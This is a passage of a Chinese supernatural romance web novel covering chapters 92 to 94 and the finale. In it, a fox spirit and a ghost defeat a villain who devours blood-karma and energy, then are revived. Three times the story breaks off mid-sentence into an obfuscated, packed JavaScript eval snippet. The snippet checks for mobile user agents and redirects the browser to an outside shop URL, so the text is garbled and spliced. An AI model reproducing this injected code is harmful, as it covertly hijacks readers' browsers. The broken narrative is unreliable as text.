已经行至他头顶的穆迎秋微微睁着眼睛，用怜悯的目光，望着下方苦苦挣扎的姬悬月，和一旁伤痕累累的林疏。 “这样上好的血孽……你竟然不知珍惜？枉费本少爷的苦心。”他的声音很轻，却清晰落进了姬悬月和林疏的耳朵里。 一狐一鬼俱是一怔。 这不是穆迎秋的声音。 这是……穆绍棠的声音。 姬悬月大脑中一片空白，他知道自己的猜测终究是成了真。 ——时间回到沙漏复制的毁灭时间线里，林疏和姬悬月用灵识打通时空通道离开之前，姬悬月曾在林疏耳边说过一句话。 “我知道你在想什么，我也有跟你一样的疑虑，不然之前我说起他的时候，为什么要用‘至少信里’这个前提？” 当时，听了这话，林疏就顿住不动了。 他当然知道。 而且非常明显。 穆家要做四煞千年柱，穆绍棠就捡回了刚出世不久的小天狐。 穆家要做四煞千年柱，穆绍棠就开始跟一个心中有恨的小哥哥做笔友，字句之间，情意绵绵。 穆文淮明明早就死了，穆绍棠在信中却说“余叔穆文淮于月前过身”。 穆绍棠真的那么单纯善良吗？ 姬悬月母亲之死的真相，可还是穆绍棠告诉他的呢。 林疏自始至终不觉得穆绍棠是个会轻易被人欺骗感情的小白花。 在穆家那样心狠手辣的家族长大，他至少，也该是朵深藏不露的食人花吧？ 但没有证据，林疏只能在心里做一下假设，并不能真的用对待嫌犯的心态来诋毁穆绍棠。 于是他道：“在事情没有查清之前，我们只能做假设，不能真的去给谁定罪。” 时间再回到如今。 纵使因为记忆的回归而不敢面对对方，姬悬月和林疏却还是默契地对视了一眼。 这件事背后的人 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他眨了眨眼，仿佛还是那个单纯善良、连眼睛都澄澈如初的十几岁小少爷。 “我不是坏人，”他的声音很轻。 姬悬月的目光闪了闪。 穆绍棠的笑容堪称温柔纯善了：“可是羽哥，我想要的东西太多了。你们不给我，我却真的很想要。” 姬悬月痛苦地闭上了眼睛。 一直在下方冷眼旁观的林疏终于开口道：“穆绍棠，温闵宣是你吧？” 穆绍棠有点意外他会插嘴，但他看向林疏的眼神也是那样饶有兴致：“阿白，你如今是这样成熟帅气的男性了，却怎么还是一头扎在这个一事无成的鬼新娘身上？” 林疏又问了一句：“穆迎秋其实也是你吧？” 穆绍棠却摇了摇头：“阿秋是真实的穆家，不过我曾有一魂一魄散去，想来是转世了，转世成了阿秋，所以我与他才能如此契合。” 林疏便知道，温闵宣果然也是穆绍棠，因为他没有否认。 姬悬月却感觉到自己灵魂中的血孽之力越来越少，穆绍棠加快了抽取的速度！ 林疏一直分神注意着姬悬月的动向，察觉到他脸色有异，再联想到温闵宣的“抽取能力”，顿时明白了，穆绍棠在夺取姬悬月的力量！ 姬悬月还在风口浪尖上，头顶是天罚，脚下是四煞！不，不行。林疏马上背着手，悄悄在身后画符，试图想办法解开身上灵力的停滞。 但手腕突然如被什么东西灼伤，林疏猝不及防，啊了一声，赶紧将右手拿到身前，却见到一只足有六寸长的青黑色蝎子在他手腕上一闪而过！ 几乎是瞬息之间，林疏右手的经脉就一片青黑，灵力再也无法运转！ 林疏马上回头，就见远处的阴霾中缓缓走出了两个人，其中一人，他果真见过！ 是宋玉的妻子，惠琼！ 而惠琼身边的女性穿着非常时髦的皮裙长靴，套着一件帅气的长款风衣，打着唇钉眉钉，看起来很朋克系，一点都不像个蛊王。 但看过鹤城周边苗寨资料的林疏一眼就认出，她耳边那道青蝎子的纹身，彰显了她乌多苗寨蛊王的身份。 92. 第 92 章 ——当年在九龙千年柱前信口雌黄，编造林疏是妖狐的谎言的道人，也是乌多苗寨的蛊王。 就是因为贪了穆家人给的黄金，乌多苗寨遭到蛊虫反噬，又亲见姬悬月成血孽，不得不举族远逃到了国外。 林疏心想，都凑齐了，看来今天不拼个你死我活，是离不开这个多灾多难的文化广场了。 惠琼走到林疏身前，居高临下看着他，半晌后轻轻一笑：“又见面了，小天师。” 林疏捂着胸口，淡淡道：“与乌多寨同流合污，惠琼，你对得起你卡苏蛊王的身份吗？” 惠琼轻描淡写道：“蛊王？卡苏寨早就不放蛊了，我阿妈留给我的只是一些口耳相传的歌，怎么样用这些歌，是我的事。” 林疏暗自运转灵力，发现那些毒素已经顺着手腕血管流淌进了自己的血液。 ……这下真要翻车了！ 林疏叫苦不迭，面上却要假装镇定：“既然有蛊术，你就应该明白这世上的事不能只用科学来解释，你丈夫做的事，你为什么那么害怕？” 惠琼的嘴角微微勾起。 那笑容看得林疏心口发慌。 “做戏而已，”惠琼轻声道，“不装得像一点，宋玉怎么会相信，他妈是被他奶奶害死的呢？” 林疏：“！！！” 而惠琼已经不打算继续说了。 林疏一边努力尝试给自己解毒，一边胡乱掰扯：“所以他妈……你婆婆，是你弄死的？” “怎么是弄死？”惠琼无辜道，“她分明还没死呢。芜尸蛊只会让她看起来像死了，身体也会如实腐烂，但哪怕火化了，她的意识也还能牢牢附着在她躯体上。” 林疏打了个哆嗦。 惠琼笑眯眯地继续道：“在那腐朽的躯体上，一点点，感受自己冰冷、僵硬、腐烂、被蛆虫啃噬。” 林疏盯着她看了一会儿，慢慢往后挪了几步，试图与这恐怖的女人拉开距离。 惠琼捂着嘴笑，随后朝坑里看了一眼。也不知道她什么级别的视力，隔着煞气和血孽搅乱的尘烟，她似乎还能看到坑底的情形。 “活该，这是她的福报。”她笑得十分冷酷。 林疏一时间没有听懂她在说什么。 倒是旁边沉默许久的乌多寨蛊王冷冷道：“挫骨扬灰了？” 惠琼摇摇头：“还有意识呢，不过也快了。” 一旁的林疏：“……” 他多少听明白了点儿，坑里绑着的那个他不认识的女鬼，好像就是惠琼的……婆婆。 惠琼看了女鬼的惨状心情非常好，便主动对林疏解密道：“对没错，底下那个女鬼是我婆婆，树下你想挖的那个尸体，不是陈璧兰，是我的婆婆，宋珠和宋玉的妈。” 林疏：“……”原来是她。 他想起了自己挖出的那块盆骨，和里面那个歹毒的塑料棒。难道那是惠琼的蛊术？ 惠琼说起此人，却是双眼泛红，她强忍着眸中的委屈与愤恨，喃喃自语一般道：“不拿儿媳当人看，处处欺负为难……看不上我是寨子里出来的女人，难道她儿子就是什么皇帝吗？” 林疏明白过来，这大概是个婆媳伦理剧。 “我们结婚是她儿子单膝下跪求的，我千辛万苦生下我的宝宝……她没管过一天，却无数次当着我女儿的面说我们娘两个都是赔钱货！”惠琼越说眼眶越红，几乎是咬牙切齿，双目都仿佛要迸裂。 “……重男轻女是不对的。”林疏只讪讪插了一句嘴。 而惠琼说着说着已经大笑起来，笑得畅快极了：“她还背着我，让宋玉偷偷跟别的女人生儿子，还打我家祖产的主意，让宋玉杀了我，再卖掉我父母的遗物还她们娘俩的赌债……” 林疏诚恳道：“那她的确该死。” 惠琼有点意外，看了林疏一眼道：“小天师，你怎么也会说人话？” 林疏道：“虽然我是正道天师，而你们炼邪蛊，但世上的对与错从来不是因身份来划分的，你忍无可忍，自然无需再忍。” 惠琼洒脱一笑：“没错，老妖婆是我杀的，宋玉也是我交给了债主，但金蚕帮我把痕迹打扫得干干净净，没有留下任何首尾，你不要想着抓我，你找不到证据的。” 林疏沉声道：“身为蛊王，却走邪路，以护主的金蚕蛊行大不韪之孽事，自然有天道会来惩处你们。” 惠琼却一笑：“那于我都不重要了，他们一家，早就毁了我安稳幸福的人生。” 林疏轻轻叹了口气，道：“此时回头还不晚，只要还没造太多杀孽，总有赎清的一天。” 嘴上说着，他的手倒是一直没闲着，始终在背后努力控制蝎子咬伤带来的蛊毒，只是收效甚微。 同时他也明白了，那些找不到痕迹的案子，似乎都跟这位蛊王有关。 抛却事实不谈，仅凭几句晦涩难懂的苗歌就能炼制这么多蛊，惠琼还真是个天才。 林疏正想说点什么，策反一下这个天才蛊师，一旁冷眼旁观许久的乌多蛊王却缓缓笑了起来：“阿惠，你又被骗了么？他是狐狸，根本不会与人共情。” 惠琼耸耸肩：“谁知道呢，他至少说了几句人话。你那主子倒是个人，可你看他哪点像人了？” 林疏顺着惠琼的目光看向了半空，穆绍棠似乎已经接管了姬悬月所有的孽力，但姬悬月还凭着厉鬼之身，毫不退避，在半空中与他对峙。 而穆绍棠接收完血孽，又开始吸收坑底的煞气了。 林疏心中叫苦不迭，四煞风水局的煞气，加上一千户人命的血孽，若都被穆绍棠收走了，他至少也能混成个血魔，到时候就不是他一只小打小闹修炼二十四年的小狐狸能打的了！ 距离顾煜城的死线……还有一个小时！ 他如何才能拖到顾煜城来？ 顾煜城那残破病体，来了还有用吗？ 如果穆绍棠真成了血魔，那就不是一个鹤城的生灵涂炭，那是整片华夏大陆的生死劫！ 而半空中，姬悬月还在与穆绍棠对视。 在底下人无所察觉的时候，姬悬月已经问出了那个问题。 “小轩也是你吗？”姬悬月沉声道。 穆绍棠对这个问题，也没有回答。 姬悬月道：“那天引我去九龙千年柱，是为了让我带林疏去，就可以让他被困住了，是吗？” 穆绍棠正在如饥似渴地吸收煞气，闻言，似乎是心情不错，随口道：“不全是，穆迎秋跟我只是做笔交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883441|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 易。我引你去，是想让你想起来，你爱我的那些年。” “我不爱你。”姬悬月道。 穆绍棠一直吸取煞气的手顿住了。 他用一种非常陌生的眼神看向姬悬月。 而姬悬月的目光非常冷淡，他又重复了一遍：“我没爱过你。” 瞬间，穆绍棠从几十尺外消失，在眨眼间出现在姬悬月面前，他的手死死握住了姬悬月的脖子，脸上却露出个愉悦的笑容来。 “你居然不爱我？”穆绍棠一寸一寸扫过姬悬月的面孔。 “过往种种，皆是为了进入穆家，给母亲复仇，我可以为此对你道歉。”姬悬月淡淡道。 穆绍棠腮上的肌肉随着他咬牙的动作而绷紧了。 姬悬月却突然问道：“小棠，你想要的究竟是什么？” 穆绍棠微微蹙了一下眉。 姬悬月都以为穆绍棠不会回答了。 但穆绍棠露出了一个他招牌式的纯真微笑：“我说过了，我要一切我想要的，而我想要的太多了。” 姬悬月道：“你做四煞千年柱，就是为了得到这些？就是为了满足你的欲|望？” 穆绍棠的目光却落在下头，他看向了林疏。 “多美的一只小动物啊……”他舔了舔齿尖，露出一个痴迷的、志在必得的笑容。 姬悬月被他那眼神搞得浑身发毛。 穆绍棠想要的，果真是林疏！ “从前我只是不满足，”他却又移回目光，看向了姬悬月。 他像是在欣赏什么美丽的画卷一样，用指尖描摹姬悬月的眉骨、鼻梁，一直到下颌。 “这样美丽的一张脸，为什么偏偏长在你这个贱人之子的脸上？”他的指甲掐进了姬悬月的下巴。 姬悬月是厉鬼之身，不惧疼痛，是以表情未变。 “姬氏那个贱人，也配进我穆家的大门？”穆绍棠轻描淡写地道，“如今也不怕你知道了，你那个贱人娘的事，是我告诉穆文泰的。” 姬悬月神色依然不变。 穆绍棠的眸中却闪过一丝狡黠的得意：“还有，穆文淮死后，写给你家的信，也都是我找人写的。穆文淮也是个贱人，明明跟穆绍柏暗中苟且，颠鸾倒凤，却还招惹外头的女人，他们都太脏了。” 而姬悬月仍然只是淡淡看着他。 穆绍棠眉心涌出一抹烦躁。 但眉眼一转，他突然又笑了：“至于阿白，你的小狐狸，他是我先看中的，却在你那里化形了。他那么嫩生生的一块肉，你居然比我先尝。所以你也得死，他也得死。还有穆迎松——他已经死了，你知道他打算怎么玩儿你的小狐狸吗？我可以详细跟你说说……” 姬悬月的眸中终于有了一丝怒气。 穆绍棠隐隐满足，他继续挑衅，用上所有最肮脏的词汇：“你还把那狐狸当块宝贝？我曾经也以为他是天地间最纯洁的生灵，谁知却是个人尽|可夫的裱子，只会勾引男人，所以他只配在柱子上被剥皮抽筋！对，没错，假扮成我剥皮的主意，也是我出的。” 姬悬月的表情却逐渐平静下来。 他突然反问道：“你力量不够吗？为什么不够？你明明计划了这么多年，为什么还是不够？” 93. 第 93 章 穆绍棠的笑容在这一秒钟凝固了。 姬悬月眼睁睁看着他脸上的表情，从怔愣，到扭曲，到像是被捏住了七寸的蛇，怨毒起来。 姬悬月笑道：“你想激怒我，想压榨我身上的怨气和孽力，你是想让我再屠一次鹤城？你为什么不亲自去？” 穆绍棠狠狠捏住了姬悬月的脖子，他现在身负四煞风水局的全部煞气，和姬悬月身上全部的血孽，他只需要轻轻动一动手指，这不可一世的厉鬼姬悬月就会瞬间身首异处，魂飞魄散！ 可他的牙都咬得咯吱咯吱响了，还是没有下杀手。 杀血孽厉鬼会获得功德。 他要的可不是这个。 而地面上的乌多蛊王点了支烟，冷冷道：“他要成功了。” 惠琼抱着臂，纤细的背影在尘烟里像一抹柔弱的孤魂，阴阳怪气道：“我好害怕啊，他会无差别攻击吗？他不会杀了我吧？” 乌多蛊王冷冷道：“我倒希望他杀了我。” “别这样，姜坷，”惠琼叹了口气，“你们乌多苗寨，只剩你一个人了。” “那个破寨子谁爱要谁要。”乌多蛊王烦躁地猛吸了一口，将那只细烟直接抽去了小半根，“如果穆绍棠不能成魔神，说什么都没用。” “比起这个我更好奇一件事，”惠琼压低了声音，“他是怎么在这么多身体里穿梭来穿梭去的？你们乌多寨的蛊这么厉害的吗？” 乌多蛊王冷冷道：“不知道，不关我事。” 而林疏在一旁煎熬了许久，终于用灵力将毒素逼出了体外！ 他不再理会这两个闲话家常的蛊王，手掌一抖，一瞬间狐火升腾，万毒不侵！他驾着这团狐火迅速朝穆绍棠和姬悬月身边飞去！ 没有了煞气，天罚也只冲着姬悬月和穆绍棠，他这一路都没有什么阻碍，但到达穆绍棠身边时，他还是感觉到了极大的阻力！ 穆绍棠周身的气势已经完全不同了。 林疏甚至能看到，穆绍棠所用的穆迎秋的身体，裂开许多血迹斑斑的伤口，但那伤口里的血液竟然都是金色的！ 难道穆绍棠真的要成神了吗？不是血魔？而是血魔神？ 这家伙到底在做什么啊！这样的位面怎么能容忍神的存在？ 林疏胡思乱想的时候，突然脑子里蹦出一个念头，隔壁那条被毁灭的时间线，该不会是被穆绍棠毁掉的吧？ 那条时间线里，跟这条时间线，有什么不同？ 快想啊林疏！ 一边回想着，林疏已经冲入穆绍棠的领域，他也恰好听到了穆绍棠的最后一句话。 “……我想要的太多了，我想要你的脸，想要小狐狸，想要所有人都听我的，我想要这世界上所有的力量都归我一个人。这个理由，足够吗？” “你想得倒美！”林疏迅速轰出一团狐火，就要从穆绍棠手里抢夺姬悬月！ 穆绍棠猝不及防被轰了个正着，他恼怒地看了一眼底下抱着臂的两个蛊王，怨她们不看住这狐狸！ 但林疏哪里是他的对手，两人只对上一两个回合，穆绍棠轻描淡写一抬手，林疏就被拍到他们身下的坑底去了。 他的力量，林疏已经无法对抗。 姬悬月因林疏好不容易得以松懈片刻，见此景也不由得愤怒起来：“你！” 穆绍棠已经逼近他，掐住他的脖子，歪着头一笑：“别怕啊羽哥，我马上会吃掉你。到时候你与我融为一体，你可以亲自观摩，我是怎么‘使用’天狐的。” 说着，他掐着姬悬月的那双手开始合拢。磅礴的孽力与煞气从他掌心涌入姬悬月的脖子，冲击着姬悬月虚弱的魂体！而他微微张开口，像是很享受似的，在吸收姬悬月逸散的神魂。 姬悬月感觉自己在融化，在消失，在被穆绍棠吞噬。 他开始后悔，自己还没有跟林疏告别。 或许不需要告别…… 就是因为前几次分离，都贪心地妄求了来生，才让他和林疏都在失忆后还念念不忘。 这次不要告别了。 就这样结束，就这样永世不再见了。 姬悬月放弃了抵抗。 他怀揣着他所拥有的最后一张底牌，甚至还颇为期待……穆绍棠吞噬掉他之后，才发现那个surprise。 ——当了这么久现代鬼，他当然也要学会一点英文。 就在穆绍棠将姬悬月的神魂几乎全部打散吞下的时刻，这不可一世的穆家小少爷，突然觉得胸口一闷。 一种很奇怪的感觉从心口扩散开来，穆绍棠不喜欢这种事情失去掌控的感觉，他当即松手，丢开姬悬月，伸手到自己——或者说穆迎秋的胸口，从里面掏出了一颗心脏。 那是一颗已经有一半变成金色的心脏，里头却有一抹鲜艳至极的红色——这可不是他的心脏应该有的颜色。 穆绍棠冷哼一声，伸手捏住那抹红色往外扯。 他很快扯出了那拇指大的一点红，竟是一条红色的裙子。 是玛丽亚的裙子？ 地底，四煞风水局中被吸干的魔、鬼、怪都已经化为一片腐朽的灰白。林疏跌落下来之后，只小心翼翼戳了一下那个惠琼口中的“婆婆”，“婆婆”就化作一片尘土，再撮不出个完整的人形。 但当林疏的手指触碰到灰白的玛丽亚时，却感到一种奇异的、被什么东西直击心灵的感觉。 他小心翼翼画了个符，然后从玛丽亚躯体里，扯出了一个……令他意外却又不完全意外的灵魂。 温丽雅的灵魂。 蓝色的裙子，纯洁的眼睛。 温闵宣或许真的有过一个这样的妹妹，但动手画她的人，是冷酷自私的穆绍棠。 穆绍棠画出来的女孩子，跟他一样，也是一个清纯无害的面孔呢。 只是不知道这两个贪婪的灵魂聚在一起，会变成什么样？ 会不会打开……那个彻底贪婪的开关？ 林疏在温丽雅额头上点了一下，渡给了她一点灵力，然后义无反顾地，发动了时间停止的禁术！ 这是同一天的第二次停止时间，这早已超出了天狐的极限。 第一次燃烧灵力， 第二次，燃烧灵魂。 但林疏已经知道这局面该怎么破除，他像个赌徒一样，押了温丽雅，将捏着她的手指一松。 温丽雅就怔怔朝上飘去。 而天狐淡绿色的灵魂缓缓燃烧，天生仙胎是他最后的底牌，也是此时此刻，唯一可用的力量。 时间由坑底开始，逐步向上，缓缓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16883442|192007||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停滞。 煞气激荡起的尘土不再飘扬，扩散到坑边。 说闲话的惠琼与姜坷都静止了，再往上，虚弱的姬悬月凝固在原地。 而穆绍棠愣住，他看着底下慢慢飘上来一个蓝裙子的少女。 “哥哥……”蓝裙子的女孩怔怔看着他。 穆绍棠皱着眉，随手把那抹红裙子弹出去，一瞬间，换上一个温和的笑容：“丽雅，你怎么出来了？” “哥哥，我好冷……”温丽雅瑟瑟发抖，朝着穆绍棠靠了过来。 穆绍棠笑容冷了下来，但还是伸手将温丽雅拢进怀里：“不怕，等会儿就不冷了。” 掌心安抚地拍着少女的脊背，穆绍棠的目光却在衡量，从哪里下手，刺入。 但温丽雅是他创造的画中恶灵，他们平分同一份的恶。 穆绍棠另一只手还抓着自己的心脏，而温丽雅的手，也已经捏上了那颗心脏。 半空中的天罚还未散去，它的雷光原本并不能撼动已成魔神之体的穆绍棠。 但随着剧烈的孽力转换，温丽雅已经贪婪地吸走了哥哥心脏中绝大部分的孽力。 她露出一个顽劣的笑容：“这样就不冷了，谢谢哥哥……” 无数惊雷汇聚成一束，狠狠劈在了失去大半孽力的穆绍棠身上！ “你！”穆绍棠忍受着电光的灼伤，冷酷地揪住温丽雅的头发，面露愤怒和贪婪，朝她张开了肋骨！ 他已经不再是人类的范畴，这身上的每一寸皴裂的皮肤和骨骼，都已经能够按照他的意愿张开，如同一张不知餍足的巨口，被用来吞噬……天下万物！ 温丽雅猝不及防，尖叫一声被那扇漆黑的肋骨钳住！像远古巨兽吞噬猎物，那肋骨成了一颗颗锋利的牙齿，将温丽雅包裹进去，不顾少女的惨叫，吞噬殆尽！ 一排排肋骨翕动咀嚼，血孽之力和煞气被贪婪地消化吸收、重新融合，充盈在穆绍棠胸口！ 而温丽雅临死前的恐惧和怨恨成了他最后的饕餮大餐！ 雷霆万钧，覆压头顶，穆绍棠的孽力却没有分毫损伤，还得到了补充，雷电触到他，甚至被逐渐攀爬上他身体的金色纹路弹开！ 然而就在金光镀满他全身的这一瞬间！ 不知何时挣脱了时空暂停的姬悬月，突然伸手从自己胸腔里抠出了一个什么，冲上去，连同他一条手臂都死死塞进了穆绍棠的胸口！ 那一排肋骨般的牙齿只知贪婪吞噬，却从不晓得什么叫做吐出—— 穆绍棠即是如此，他的贪婪或许就是来源于他所说的“渴望得到”，温丽雅的贪婪，则是打开他的贪婪的最后开关！ 而这打开的开关，使得天生的恶意因“贪婪”而无法遏制地吞噬，吞噬着所有它想要的，没有尽头。 于是，它们本能地吞掉了姬悬月送上来的一条胳膊，并在穆绍棠自己察觉到不对之前，就已经贪婪地将那股神奇的力量在腹腔中消化殆尽！ 那神奇的力量是什么呢？ 姬悬月虚弱地，露出非常痛快的笑容。 那是，横公鱼的眼睛。 在复制毁灭时间线中，姬悬月趁着林疏被做晕过去时，用自己的灵魂之力做交换，换来的——林疏那口袋法宝中他唯一想得到之物：横公鱼眼！ 94. 大结局 横公鱼，生于石湖，形如鲤而赤。刺之不入，煮之不死，以乌梅二枚煮之则死，食之可祛邪魔、净邪气。（注：引用自《山海经》，有添改自设。） 林疏说过，若是姬悬月吃了，恐怕不到一时三刻就会被净化得连点渣渣都不剩。 在回到当前的时间线——姬悬月在跳下深坑、以血孽之力对抗煞气时，就将它默默吞进了肚子里。 本来是打算给自己一个了结。 又在穆绍棠想吞掉他时，打算留给穆绍棠一个了结。 只可惜，穆绍棠好像有所警觉，并没有彻底吞噬掉他。 还要感谢玛丽亚，在穆绍棠心脏中被扯出来的一袭红裙，误打误撞——也可能是蓄谋已久地，竟然撞破了姬悬月身上的时空壁垒。 而大张的肋骨只知道吞入，不知道吐出。那横公鱼之眼，已经被穆绍棠消化吸收。 此时此刻，他已经走入了姬悬月和林疏携手打造的结局。 不知道一颗横公鱼的眼珠能净化掉多少？ 姬悬月的魂体已经非常虚弱，但他始终睁大眼睛，看着穆绍棠在半空中发癫。 比起姬悬月将那颗眼珠藏在无法消化食物的胃里，显然，穆绍棠直接吸收掉的行为能让它作用得更快。 从穆绍棠凄惨的叫声就能看出，他现在一定很不舒服吧。 姬悬月冷酷地想，吃吃吃，什么都吃，活该你肚子疼。 就应该像他的小狐狸一样讲究营养搭配，什么都吃只会让穆绍棠死得难看。 但停滞的时间已经开始缓缓流动，姬悬月突然意识到，这已经是林疏今天第二次使用时间停止，他马上跌跌撞撞从穆绍棠接管的那团孽力中跳出来，断翅的燕一般朝下飘去。 林疏盘腿坐在坑底，双手拈着剑诀搭在膝盖上，他的身躯已经半透明了。 坑上的两位蛊王终于能动了，林疏听见姜坷大叫一声不好，然后朝穆绍棠追了过去。 但他已经没有心思管了。 他的灵魂即将燃烧殆尽。 一睁眼，却看见姬悬月也是这倒霉的半透明状，他不禁噗嗤一声笑了出来。 姬悬月不顾他还在打坐，扑上来用剩余的那只手臂将他搂进怀里：“小狐狸，我来了。” 林疏灵魂虚弱，身上便冷得如死人一般，此刻倒是与姬悬月的冰凉持平了，这让他感觉到姬悬月的怀抱居然也是温暖的。 他便更深地依偎进了姬悬月怀中，两人额头相抵，彼此脸上都是疲惫与满足。 半晌，林疏听见姬悬月道：“嗳，不管了。反正我尽力了，他若不死，我也没办法了。” “横公鱼眼喂他吃了？”林疏轻声问道。 姬悬月听了这话，有些意外道：“你知道？” 林疏抬起头，眉眼弯弯朝着他笑道：“我只是被你搞累了闭着眼，又不是死了。你在那里跟时空法则讨价还价，真以为我听不见吗？” 姬悬月顿时脸红，还以为自己的计划隐瞒得很成功。 但林疏好像并不介意。 也对，到此时此刻，也没必要介意了。 “早知道是你……”林疏怔怔望着姬悬月的眼睛，“刚在穆宅找到你的那天，我一定不把你送去灵调局。我应该直接把你关进葫芦里，就像那年一样……再也不让别人知道你的存在。” 姬悬月在他唇上轻轻一啄：“没关系，我们始终是在一起的。” 林疏的眼泪却唰一下流了下来。 “我们错过了很多时间。”小狐狸的眼泪顺着半透明的脸颊流淌个不停，“我还以为我一见到你就会认出你、爱上你，我们……浪费了好多时间……” “嘘——不要哭。”姬悬月温柔地吻去他的眼泪，“马上就要说再见了，不应该笑着说吗？” 林疏搂紧了姬悬月，像是要将自己融进他的身体里。 上头的穆绍棠似乎已经发完疯了，姬悬月也不知道这世界有没有被毁灭，但他们头顶突然开始飘落点点冰晶，不知道八月里哪来的雪，竟然寂静无声地落了他们满头。 姬悬月怔怔拈起林疏发顶一枚雪花，一时间，竟不知是雪更白，还是林疏的头发更白。 “霜雪满头，也算白首……”姬悬月喃喃道，“我答应你的，算是做到了吧？” 他说的是七十多年前，天罚劈完林疏，林疏与他告别时，他们两人的约定。 若有来生，望白头偕老。 林疏曾经笑着说，他本来就是白发，若有来生他会变个黑发的模样，陪着姬悬月一起老去。 告别的时间太短。 离别的时间太长。 长到没有尽头。 这次分别，他们就再也不会有以后了。 林疏突然问道：“你一直爱我吗？” 他的灵魂之火，随着这句话说完，就在姬悬月怀中缓缓熄灭了。 姬悬月的神魂已经逸散到让他睁不开眼睛，发不出声音。 他看不到林疏已经完全消散了。 他用自己最后的声音说：“林疏，我爱你。” 一直爱你。 再次见到你的那天，我就爱你了。 …… 雪那么大，覆盖了整个鹤城。 西南地区少降雪，鹤城的人们纷纷惊讶地来到街头，他们玩雪，堆雪人，打雪仗，他们欢声笑语。 而在郊区，塌陷的九龙千年柱附近，村民惊讶地看着云端，那里有一抹雪白的影子，像只老虎，却有好多条尾巴。 “是神兽吗？” “没见过这种异象啊，你不是有灵调局的电话吗？打电话问问林道长呀。” “林道长是好人，热心肠又老实，而且特派天师里数他长得最好看，哈哈哈……” “自从有了灵调局，咱们的日子过得都舒心了不少，再也不用怕那些妖魔鬼怪作乱。在鹤城这是几百年没有过的和平呢。” “咦，林道长的电话打不通。” “他们是在忙吧？我就知道今天一定有大事发生。” “都是为民除害的好事！” …… “灵调局的建立，最初是因为‘珠穆之心’。” “这颗心脏，并非人的心脏，而是神的心脏。它自昆仑山现世，前后三千六百年，引起争端不断。” “有古神传人，名曰风古，世代守护珠穆之心。后化姓为顾，也就是——顾家的顾。” “为了这个宝贝的争夺战，顾家不知道死了多少人，就连林聆也为此堕落为妖，沉睡十年。” “它的用处？其实并没有传言的那么神乎其神，什么实现任何愿望，什么毁灭宇宙……这当然都是不可能的。” “珠穆，意为女神，源自昆仑山，珠穆朗玛又被称作大地之母。它的能力只有一个，那就是生生不息。” 林疏和姬悬月坐在小板凳上呆呆听着顾煜城讲课。 “我们就是这么活的吗？”林疏傻乎乎地问道。 顾煜城啧了一声。 旁边的林聆只好道：“是是是，你们就是珠穆之心救活的。” 其实林疏和姬悬月根本没死透就是了。 那场雪是天地神兽“陆吾”下的雪，在最后关头，眼看乌多蛊王姜坷就要把穆绍棠身体里的横公鱼之眼弄出来了，林聆终于拖着两管鼻涕爬起来，用法宝号角召唤了陆吾。 陆吾下了一场雪，雪中蕴含的灵力帮助林聆施展了全鹤城的大范围“时间停止”，被时间法则束缚的姜坷不得已停住了动作，而穆绍棠就在她面前被横公鱼之眼净化成了一滩血泥。 直到这时，顾煜城才捧着珠穆之心姗姗来迟。 等他到达了现场，姬悬月和林疏都凉透了。 气得林聆踩着他的肩膀大骂吃屎都赶不上热乎的。 本来顾煜城是想用珠穆之心救活那凉透了的一狐一鬼，但陆吾离去之前，朝着天空长啸了一声。 顿时，天罚散去，乌云消失。 姬悬月和林疏的身体也重新温暖了起来。 究其原因，是林疏和姬悬月携手杀死魔神穆绍棠之事，积攒了太多太多的功德，这不光是一个鹤城的事，如果穆绍棠真的成了魔神体，那他祸害的甚至不止这一条时间线。 这份泼天的功德终于轮到这对命苦小情侣了，林聆和顾煜城商量了一下，却不想说真话。 ……若让小狐狸知道了他和姬悬月已经不用苦苦攒功德，他俩恐怕就要跑路了。 而林聆和顾煜城实在想退休。 赵潜州匆匆赶回来，还带了个消息，说好不容易在欧洲找到了涅槃道踪迹，但唐疏还没出生，他想让他们去帮忙。 但灵调局这边还有事情未了，苗织凰胳膊肘拐到魔神那边去的这事还得善后，穆绍棠牵扯到的人也实在太多…… 总之林聆想来想去，觉得这堆事丢给谁都不放心，还是得丢给刚“复活”还有点呆呆的林疏和姬悬月。 顾煜城也早就想丢下灵调局去度个蜜月，天知道他多想带着林聆去旅游。 于是夫夫两人一合计，把天降功德这件事给瞒过去了，还装模作样编了个珠穆之心的故事骗小孩。 也不算骗小孩吧，珠穆之心的来源是真的，故事是真的，作用也是真的。 然后顾局带着林主任扬长而去了。 林疏头一天还是上午摸鱼下午吃水果的特派天师，突然一下子就接管了灵调局和灵协办这两个大烂摊子，他灵魂受损严重，调动记忆还有点缓慢，虽然不太影响办公，但他总觉得……这件事好像有哪里不对。 下班后，林疏慢吞吞去骑车，就见自己的自行车旁边站着一名白衬衣黑西裤的长发及腰美男子，美男子朝他一笑，他顿时什么都忘了，屁颠屁颠跑过去，两人接了个吻。 “今天去干点什么？看电影？听说那个口碑不错的导演的新电影要上了……”林疏欢快道。 “我还是更想回家休息。”姬悬月的手搭在林疏腰上。 “……这不好吧？”林疏脸红了，“昨天才……而且前天也……” 姬悬月用鼻子去蹭林疏的鼻梁：“好不好嘛。” “……”林疏顿时晕头转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 